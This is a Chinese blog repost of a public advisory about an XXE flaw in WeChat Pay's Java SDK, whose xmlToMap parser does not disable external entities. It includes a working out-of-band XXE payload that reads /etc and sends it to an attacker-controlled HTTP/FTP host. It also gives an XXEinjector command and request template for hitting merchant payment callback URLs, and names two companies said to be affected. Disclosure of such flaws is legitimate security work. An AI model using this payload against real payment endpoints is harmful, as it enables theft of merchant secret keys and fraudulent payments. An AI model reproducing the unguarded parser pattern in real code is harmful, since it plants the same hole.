• 欢迎访问老司机不开车的博客,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入 TG群 QQ群
  • 老司机提醒您:回复"666666"无需人工审核,即可查看文章!Gmail邮箱的都需要审核!
  • 禁止带HTTP连接和联系方式广告留言。所有含有日文以及英语的评论已经屏蔽。
  • 廣告招租!衹接受比特幣和萊特幣付款。廣告沒有限制!有意向聯係 TG_1024
  • 本站的目的是仅仅是科普知识,绝对没有其他任何用意!请遵守当地相关法律法规!
  • 禁止复读机行为!第一次删除账号,第二次封IP。

微信支付SDK存在XXE漏洞 |含利用POC

新闻 老司机 9个月前 (07-04) 866次浏览 1个评论

漏洞信息来源:
http://seclists.org/fulldisclosure/2018/Jul/3

受影响版本:
JAVA SDK,WxPayAPI_JAVA_v3,建议使用了该版本的公司进行异常支付排查

微信在 JAVA 版本的 SDK 中提供 callback 回调功能,用来帮助商家接收异步付款结果,该接口接受 XML 格式的数据,攻击者可以构造恶意的回调数据(XML 格式)来窃取商家服务器上的任何信息。一旦攻击者获得了关键支付的安全密钥(md5-key 和商家信息,将可以直接实现 0 元支付购买任何商品)ps:想 0 元购买东西?想想就好。搞不好就进局子咯~

漏洞详情

The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
   Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
    or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )


   README.md in  WxPayApi_JAVA_v3.zip,it show more details:

   notify code example:
    [
        String notifyData = "....";
        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);
//conver to map
        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
        }
        else {
         }

     ]
    WXPayUtil source code
   [

  public static Map<String, String> xmlToMap(String strXML) throws
Exception {
    try {
            Map<String, String> data = new HashMap<String, String>();
            /*** not disabled xxe *****/
            //start parse

            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);

           //end parse


            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
                    data.put(element.getNodeName(), element.getTextContent
());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }
    }

]

利用细节

Post merchant notification url with  payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT


In order to prove this, I got 2 chinese famous company:
   a、momo: Well-known chat tools like WeChat
   b、vivo :China's famous mobile phone,that also famous in my country

博主在此发文(包括但不限于汉字、拼音、拉丁字母)均为随意敲击键盘所出,用于检验本人电脑键盘录入、屏幕显示的机械、光电性能,并不代表本人局部或全部同意、支持或者反对观点。如需要详查请直接与键盘生产厂商法人代表联系。挖井挑水无水表,不会网购无快递。博主只是一名普通的互联网从业者,不懂修电脑,不会卖电脑,不会帮你盗号,不会破解开机密码,找不回你丢失的手机等,如有这样的想法请绕道! 丨本网站采用CC BY 4.0协议进行授权 , 转载请注明微信支付SDK存在XXE漏洞 |含利用POC
喜欢 (0)
发表我的评论
取消评论
表情 加粗 删除线 居中

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(1)个小伙伴在吐槽
  1. 是不是回复有积分6666
    li1192911182019-01-13 14:11 回复